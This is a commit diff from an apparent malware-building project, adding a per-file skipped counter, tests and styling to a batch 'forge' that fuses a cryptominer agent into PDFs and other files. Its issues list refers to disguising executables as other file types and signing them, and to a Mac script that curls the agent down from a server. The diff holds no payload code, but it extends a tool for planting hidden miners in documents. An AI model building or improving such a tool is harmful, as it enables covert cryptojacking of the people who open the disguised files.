Add batch forge per-file skipped counter UI and tests.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Batch fusion now skips preflight/build failures per file, shows skipped count in progress header and log, and documents coverage by removing the deferred PROBLEMS row.
This commit is contained in:
@@ -64,7 +64,6 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
|
|||||||
| **Fleet topology 3D cap** | `FleetTopologyMap` renders at most 200 nodes; larger fleets need subnet-grouped view or server-side aggregation. |
|
| **Fleet topology 3D cap** | `FleetTopologyMap` renders at most 200 nodes; larger fleets need subnet-grouped view or server-side aggregation. |
|
||||||
| **Crucible roster pagination** | Roster paginates 80 cards/page; bulk select-all still operates on filtered set in memory. |
|
| **Crucible roster pagination** | Roster paginates 80 cards/page; bulk select-all still operates on filtered set in memory. |
|
||||||
| **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. |
|
| **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. |
|
||||||
| **Path Forge skipped-counter UI** | Batch cancel/race covered (`BuilderPage.test.tsx`); per-file skipped counter in batch progress not fully covered. |
|
|
||||||
| **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. |
|
| **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. |
|
||||||
| **Mac PathForge runtime** | `.command` curl `/api/download/agent-mac`; needs reachable `server_url` + binary on server. |
|
| **Mac PathForge runtime** | `.command` curl `/api/download/agent-mac`; needs reachable `server_url` + binary on server. |
|
||||||
| **Terminal virtualization** | 400-line DOM cap only; full virtual scrollback deferred. |
|
| **Terminal virtualization** | 400-line DOM cap only; full virtual scrollback deferred. |
|
||||||
|
|||||||
@@ -611,6 +611,79 @@ describe('BuilderPage', () => {
|
|||||||
expect(screen.getByText(/1\/2 — cancelled/i)).toBeInTheDocument();
|
expect(screen.getByText(/1\/2 — cancelled/i)).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('skips per-file build failures and shows skipped counter in batch progress', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) => {
|
||||||
|
if (file?.name === 'bad.pdf') {
|
||||||
|
return { success: false, error: 'Payload too large for fusion stub' };
|
||||||
|
}
|
||||||
|
return successfulBuild({
|
||||||
|
fusion_enabled: true,
|
||||||
|
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
|
||||||
|
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
||||||
|
ok: true,
|
||||||
|
json: async () => ({ stage: 'Packaging', pct: 90 }),
|
||||||
|
}));
|
||||||
|
|
||||||
|
renderBuilder();
|
||||||
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||||
|
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
|
||||||
|
|
||||||
|
fireEvent.change(fusionBatchFileInput(), {
|
||||||
|
target: { files: [mockFusionFile('bad.pdf'), mockFusionFile('good.pdf')] },
|
||||||
|
});
|
||||||
|
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
|
||||||
|
|
||||||
|
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(2));
|
||||||
|
expect(await screen.findByText(/Batch forged 1 file\(s\) · 1 skipped/i)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/bad\.pdf — Payload too large for fusion stub/i)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/good\.pdf — Saved → fusion-deliverables\/good\.pdf/i)).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('skips per-file preflight failures without aborting the batch', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
const forgeValidation = await import('../help/forgeValidation');
|
||||||
|
const { runForgePreflight: realPreflight } = await vi.importActual<
|
||||||
|
typeof import('../help/forgeValidation')
|
||||||
|
>('../help/forgeValidation');
|
||||||
|
const preflightSpy = vi.spyOn(forgeValidation, 'runForgePreflight').mockImplementation((form, fusion) => {
|
||||||
|
if (form.fusion_media_base_name === 'blocked.pdf') {
|
||||||
|
return [{ id: 'fusion', level: 'error', message: 'Fusion media exceeds size cap' }];
|
||||||
|
}
|
||||||
|
return realPreflight(form, fusion);
|
||||||
|
});
|
||||||
|
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
|
||||||
|
successfulBuild({
|
||||||
|
fusion_enabled: true,
|
||||||
|
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
|
||||||
|
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
||||||
|
ok: true,
|
||||||
|
json: async () => ({ stage: 'Packaging', pct: 90 }),
|
||||||
|
}));
|
||||||
|
|
||||||
|
renderBuilder();
|
||||||
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||||
|
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
|
||||||
|
|
||||||
|
fireEvent.change(fusionBatchFileInput(), {
|
||||||
|
target: { files: [mockFusionFile('blocked.pdf'), mockFusionFile('allowed.pdf')] },
|
||||||
|
});
|
||||||
|
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
|
||||||
|
|
||||||
|
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(1));
|
||||||
|
expect(buildSpy.mock.calls[0][1]?.name).toBe('allowed.pdf');
|
||||||
|
expect(await screen.findByText(/blocked\.pdf — Fusion media exceeds size cap/i)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
|
||||||
|
preflightSpy.mockRestore();
|
||||||
|
});
|
||||||
|
|
||||||
it('clears fusion batch queue after successful batch forge', async () => {
|
it('clears fusion batch queue after successful batch forge', async () => {
|
||||||
const user = userEvent.setup();
|
const user = userEvent.setup();
|
||||||
vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
|
vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
|
||||||
|
|||||||
@@ -155,7 +155,8 @@ export default function BuilderPage() {
|
|||||||
fileName: string;
|
fileName: string;
|
||||||
phase: string;
|
phase: string;
|
||||||
percent: number;
|
percent: number;
|
||||||
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
|
skipped: number;
|
||||||
|
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail' | 'skipped'; detail?: string }[];
|
||||||
} | null>(null);
|
} | null>(null);
|
||||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||||
@@ -602,8 +603,9 @@ export default function BuilderPage() {
|
|||||||
setBuilding(true);
|
setBuilding(true);
|
||||||
const total = fusionBatchFiles.length;
|
const total = fusionBatchFiles.length;
|
||||||
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
|
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
|
||||||
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
|
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, skipped: 0, log });
|
||||||
let ok = 0;
|
let ok = 0;
|
||||||
|
let skipped = 0;
|
||||||
try {
|
try {
|
||||||
for (let i = 0; i < total; i++) {
|
for (let i = 0; i < total; i++) {
|
||||||
if (batchCancelRef.current) {
|
if (batchCancelRef.current) {
|
||||||
@@ -642,13 +644,44 @@ export default function BuilderPage() {
|
|||||||
});
|
});
|
||||||
const checks = runForgePreflight(req, true);
|
const checks = runForgePreflight(req, true);
|
||||||
if (preflightHasErrors(checks)) {
|
if (preflightHasErrors(checks)) {
|
||||||
throw new Error(`Preflight failed for ${file.name}`);
|
const reason = checks.find((c) => c.level === 'error')?.message ?? 'Preflight failed';
|
||||||
|
skipped++;
|
||||||
|
setBatchJob((j) =>
|
||||||
|
j
|
||||||
|
? {
|
||||||
|
...j,
|
||||||
|
skipped,
|
||||||
|
fileName: '',
|
||||||
|
log: j.log.map((row, idx) =>
|
||||||
|
idx === i ? { ...row, status: 'skipped', detail: reason } : row
|
||||||
|
),
|
||||||
|
}
|
||||||
|
: j
|
||||||
|
);
|
||||||
|
continue;
|
||||||
}
|
}
|
||||||
const batchToken = crypto.randomUUID();
|
const batchToken = crypto.randomUUID();
|
||||||
cancelTokenRef.current = batchToken;
|
cancelTokenRef.current = batchToken;
|
||||||
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
|
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
|
||||||
cancelTokenRef.current = '';
|
cancelTokenRef.current = '';
|
||||||
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
|
if (!result.success) {
|
||||||
|
skipped++;
|
||||||
|
setBatchJob((j) =>
|
||||||
|
j
|
||||||
|
? {
|
||||||
|
...j,
|
||||||
|
skipped,
|
||||||
|
fileName: '',
|
||||||
|
log: j.log.map((row, idx) =>
|
||||||
|
idx === i
|
||||||
|
? { ...row, status: 'skipped', detail: result.error || 'Build failed' }
|
||||||
|
: row
|
||||||
|
),
|
||||||
|
}
|
||||||
|
: j
|
||||||
|
);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
setBatchJob((j) =>
|
setBatchJob((j) =>
|
||||||
j
|
j
|
||||||
? {
|
? {
|
||||||
@@ -682,10 +715,13 @@ export default function BuilderPage() {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
if (!batchCancelRef.current) {
|
if (!batchCancelRef.current) {
|
||||||
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
|
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '', skipped } : j));
|
||||||
setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
|
const skipNote = skipped > 0 ? ` · ${skipped} skipped` : '';
|
||||||
|
setBlueprintMsg(
|
||||||
|
`✅ Batch forged ${ok} file(s)${skipNote} — one universal ZIP per file in fusion-deliverables/`
|
||||||
|
);
|
||||||
setTimeout(() => setBlueprintMsg(''), 6000);
|
setTimeout(() => setBlueprintMsg(''), 6000);
|
||||||
setFusionBatchFiles([]);
|
if (ok > 0) setFusionBatchFiles([]);
|
||||||
}
|
}
|
||||||
} catch (err: unknown) {
|
} catch (err: unknown) {
|
||||||
const msg = err instanceof Error ? err.message : 'Batch forge failed';
|
const msg = err instanceof Error ? err.message : 'Batch forge failed';
|
||||||
@@ -2503,6 +2539,7 @@ export default function BuilderPage() {
|
|||||||
<span className="font-tech">BATCH FORGE</span>
|
<span className="font-tech">BATCH FORGE</span>
|
||||||
<span>
|
<span>
|
||||||
{batchJob.current}/{batchJob.total} — {batchJob.phase}
|
{batchJob.current}/{batchJob.total} — {batchJob.phase}
|
||||||
|
{batchJob.skipped > 0 ? ` · ${batchJob.skipped} skipped` : ''}
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="batch-progress-track">
|
<div className="batch-progress-track">
|
||||||
@@ -2520,7 +2557,15 @@ export default function BuilderPage() {
|
|||||||
{batchJob.log.map((row) => (
|
{batchJob.log.map((row) => (
|
||||||
<li key={row.name} className={`batch-log-${row.status}`}>
|
<li key={row.name} className={`batch-log-${row.status}`}>
|
||||||
<span className="batch-log-icon">
|
<span className="batch-log-icon">
|
||||||
{row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
|
{row.status === 'ok'
|
||||||
|
? '✓'
|
||||||
|
: row.status === 'fail'
|
||||||
|
? '✕'
|
||||||
|
: row.status === 'skipped'
|
||||||
|
? '—'
|
||||||
|
: row.status === 'active'
|
||||||
|
? '…'
|
||||||
|
: '○'}
|
||||||
</span>
|
</span>
|
||||||
<span>
|
<span>
|
||||||
{row.name}
|
{row.name}
|
||||||
|
|||||||
@@ -1509,6 +1509,11 @@ button.deliverable-card .form-hint {
|
|||||||
color: var(--neon-red, #f55);
|
color: var(--neon-red, #f55);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.batch-forge-log li.batch-log-skipped {
|
||||||
|
color: var(--text-secondary);
|
||||||
|
opacity: 0.85;
|
||||||
|
}
|
||||||
|
|
||||||
.download-actions {
|
.download-actions {
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-wrap: wrap;
|
flex-wrap: wrap;
|
||||||
|
|||||||
Reference in New Issue
Block a user